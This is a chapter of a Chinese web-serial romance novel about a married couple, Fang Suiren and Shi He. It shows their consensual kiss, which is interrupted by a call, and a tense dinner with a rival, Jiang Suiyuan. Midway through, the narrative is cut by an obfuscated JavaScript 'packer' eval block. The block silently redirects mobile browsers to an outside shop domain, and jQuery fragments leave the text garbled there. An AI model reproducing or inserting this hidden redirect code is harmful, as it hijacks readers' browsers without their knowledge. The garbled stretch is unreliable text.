时和两只眼睛都看得发直,整个人因为过于吃惊而怔在原地,本就气盛的热血一瞬间涌上脑门,让他脚下丝毫不敢挪动半分。
【老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆老婆....】
停止思考的大脑让他只能在心里不断重复这两个字,叫得方岁稔耳朵都起茧子了。
“怎么还不过来?”方岁稔维持着姿势又勾了两下手指。
闻言,时和好似被拧上了发条的机器人,开始一步一顿地朝方岁稔靠近。
脸颊和耳尖的羞红很快蔓延至全身,时和心跳快的如同开了三倍速。
等到时和好不容易走到方岁稔能够到的距离后,方岁稔直接伸手一把将他拽到了床上躺下。
然后她眼捷手快地欺身压上去,附身凑到他眼前蹭了蹭时和的鼻尖。
假装狐疑地问道:“怎么这么烫?发烧了?”
时和咬着唇,双手紧紧在身侧攥着床单,活像个被调戏的良家夫男。
“没...没有..”他害羞地眨巴着眼睛回答。
方岁稔却更加逗弄心作祟地将耳朵贴到他心口处,静静地听了几秒新心跳声后慢悠悠开口:“怎么心跳声也这么快?是哪里不舒服嘛?”
时和尴尬地别开脸,喉结滚了又滚,哑声道:“没有..不舒服。”
他说完,方岁稔也没有移开,依旧保持刚才听心跳的姿势趴在他胸膛。
【太近了!老婆离我好近!】
【怎么办!怎么办!快要忍不住了!】
【可是老婆在关心我!我怎么可以有肮脏的想法!】
【可是老婆真的好香!明明家里都是一样的沐浴露,为什么老婆用起来这么香!】
【喜欢..好喜欢...老婆..想抱老婆】
【不行,老婆这么担心我,不可以】
听着时和自我矛盾和纠结不已的心声,方岁稔知道自己的恶作剧得逞了。
她是个懂得见好就收的人,因为真要把小狗逼急了,恐怕吃苦的人就是自己了。
所以她不急不慢地直起身,双手压在时和鼓鼓囊囊的胸肌上,忍不住捏了两下。
手感还怪好的。
方岁稔心想。
“没事就好,”松开手的方岁稔像个没事人一样,神色如常地起身挪到了旁边的位置。
然而躺着的时和却完全没法冷静下来了,本就隐忍许久的欲望全被方岁稔这一把火撩得燃烧起来。
他好不容易克制住的反应,却因为方岁稔撤离时脚踝的无意碰触而彻底外放出来。
现下不止汗毛,他浑身的灼热都迸发着立了起来。
他一口接一口的急促深呼吸,试图平复自己的心情和燥热。
但每呼吸一次,都能嗅到细微又勾人的香味,来自方岁稔身上不甚明显的体香和花香。
使得他越来越压制不住自己满腔几乎溢出的冲动。
随着一次连呼带喘的深呼吸后,时和将方岁稔强行掳到了身下。
他紧咬着发白的嘴唇,脸上却已然失了理智的模样,眼神也变得迷离晦涩。
“老婆...”时和把脸埋进方岁稔颈窝,贪婪无度地嗅闻着她的气味,“你好香...我好喜欢...”
瞧着眼前和梦中几乎一模一样的场景,方岁稔诧异地失了神。
脑子里回响着时和曾说过一句又一句表白,心跳也渐渐加快起来。
“老婆...可以吗?”时和询问的低沉嗓音咬上方岁稔的耳垂,让她瞬间回过神来。
她不自然地搂上时和的脖子,过热的体温贴上时和滚烫的肌肤,粘腻的细汗一点点渗透出来,将二人黏得更紧。
“我想听你说那句话。”方岁稔低声细语地附上时和的耳畔。
毛茸茸的脑袋蹭着时和的脖颈,挠得他心更痒痒了。
时和本就不富裕的脑子用仅剩的几分清醒费力地解读着方岁稔的要求,过了好一会儿才用带着小庆幸语气开口:
“老婆,我真的好爱你~”
“老婆,我爱你,好爱好爱你~”
像是一瞬间学会举一反三的时和将这句情话翻来覆去地说了好几遍。
听着他接踵而来的告白,方岁稔幸福的笑了,笑声清脆明媚。
等到听到心满意足后,方岁稔给出了她的答案。
“可以,老公~”
她嗓子软软绵绵的,落在时和耳朵里却掷地有声。
话音刚落,时和生涩的轻吻就落在了方岁稔的耳垂上,然后一点点攀沿而上,停顿在了她的嘴角处。
下一秒,时和微凉的指腹轻轻擦过方岁稔的双唇,满是撩拨的意味。
“老婆,这里也可以嘛?”时和好似明知故问一般,故意在这种时候停下来征询意见。
方岁稔缱绻的眸色暗了又亮,根本不搭理时和的挑逗,微微仰起头,一把按下时和的后脑勺,用力吻了上去。
情欲渐浓,吻也随之加深,灵活的舌头撬开牙关,开始肆无忌惮地侵略与标记。
时和步步逼近,方岁稔后脑躺在时和温热的掌心,根本退无可退。
直至被吻到喘不上气,才被恋恋不舍地舔吻一下后放开。
“老婆,喜欢吗?”时和把脸埋进方岁稔侧脸,撒娇似的拱了拱。
急促喘了几口气后的方岁稔好不容易缓和过来,说话声因为喘息断断续续:“你怎么...这么..熟练..?”
语气里明显带着怀疑。
时和一听,立马抬起头,眼神清明大半,真诚的语气里带着慌张:“老婆我真是第二次,第一次是之前你亲我那次!”
方岁稔半信半疑地挑眉,“真的吗?”
“当然是真的,我绝不会跟老婆撒谎!”时和说着,为了证明自己,发誓般竖起了四根手指。
“可你昨天还骗我说你出差了...”方岁稔耸了耸肩,眼神打量似的在时和脸上逡巡。
“那个是....”时和话说一半,却心虚地闭上嘴沉默下来。
这件事他的确是对方岁稔说谎了,不管原因如何,错了就是错了。
于是他一转话头,坦然地同方岁稔认错道:“对不起,我错了,老婆不生我气好不好?”
说着他又耍赖地蹭了蹭方岁稔的脸颊,像只要贴贴的小狗。
“那下次还这样嘛?”方岁稔摸了摸时和的脑袋,顺势递出了台阶。
“保证不会了!”时和眼睛亮亮闪闪的,目色无比认真专注。
“我信你。”方岁稔扬起眉眼,含笑亲了亲时和的眼睛和鼻梁。
“那我们继——”
时和话刚说到一半,就被一阵手机铃声打断了。
是方岁稔的来电铃声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582594|204088||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
二人同时侧目看过去,却在看到来电显示页面上的名字后变了脸色——
是江遂远。
时和阴沉着脸帮方岁稔拿过来递给她,有些不悦地冷哼了一声。
方岁稔偏过头去,尴尬地接听了电话,“怎么了?”
“怎么了!?”江遂远的声音隔着屏幕都拔高了几度,“不是你约我见面嘛?我等了一个小时你问我怎么了?”
“......”
方岁稔安静片刻,才回想起来是自己昨天让余今帮忙约了江遂远今晚见面谈项目的事。
但自己因为去找时和,完全将这事忘的一干二净。
方岁稔有些羞愧地挠了挠鼻尖,稍稍抽出时和的怀抱坐起身来。
急忙冲电话那头道歉:“对不起啊,刚才去处理一件突发的急事给忘了...”
说话间方岁稔回头看了时和一眼,思索几秒后,有些不太好意思地拢着手继续道:“我马上就来。”
说完她立马挂断电话,眼带歉意地拉过时和凑到他跟前,哄人一般开口:“我有点事需要出趟门,等回来再补偿你好不好。”
看似询问,却根本没给选择权。
时和吃味地瘪着嘴,掀起眼皮露出委屈巴巴的眸子,“我要跟你一起去。”
他才不放心方岁稔独自一人去见江遂远那个诡计多端的男人!
尤其还是在自己和方岁稔的感情刚刚升起一丝希望的关键时刻。
他要严防死守住自己的老婆,不给外人一丁点儿的机会。
“你去做什么?”方岁稔不解。
原以为时和会生气,但比起生气,他却先提出了要跟着一起去的奇怪要求。
“就是..想跟你在一起。”时和模模糊糊地回。
他才不会直接告诉方岁稔自己去盯着江遂远的。
见他一副可怜兮兮的模样,方岁稔还以为他是因为今天的事不放心而离不开自己,遂想也不想就答应了。
四十分钟后。
方岁稔带着跟在自己身后的小狗尾巴出现在了餐厅。
二人泰然自若地顶着江遂远诧异又狐疑的视线坐在了他对面。
“抱歉,来晚了。”方岁稔带着歉意开口,“快看看要吃什么,今晚我买单。”
江遂远不满地扫了一眼紧紧挽着方岁稔胳膊的时和,拧着眉头道:“不打算介绍一下你身上这张狗皮膏药吗?”
江遂远语气里满是挑衅,明明在报道里见过时和,却偏偏就要嘴毒一句。
“江总舔一下自己的嘴怕是连自己都会毒死吧。”时和不服输地怼了回去。
“你!”江遂远一怒之下怒了一下,还来不及发作就被方岁稔截断了。
“他是我丈夫,新野集团的时和。”方岁稔略正式地开口,以一己之力阻隔了二人剑拔弩张的气氛,“这位是我的合作伙伴,江遂远江总。”
“原来是时总。”江遂远咬牙切齿地伸出手去,努力维持着自己的商业礼仪。
时和却根本不打算搭理他,半晌都没有回应。
于是方岁稔扭头撇了他一眼,他才心不甘情不愿地伸出手回握了江遂远的手。
但不到一秒,二人就互相嫌弃地甩开了彼此的手。
还互相翻了个生怕对方看不见极其明显的白眼。
方岁稔无奈地笑了下,轻声吐槽了一句:“幼稚...”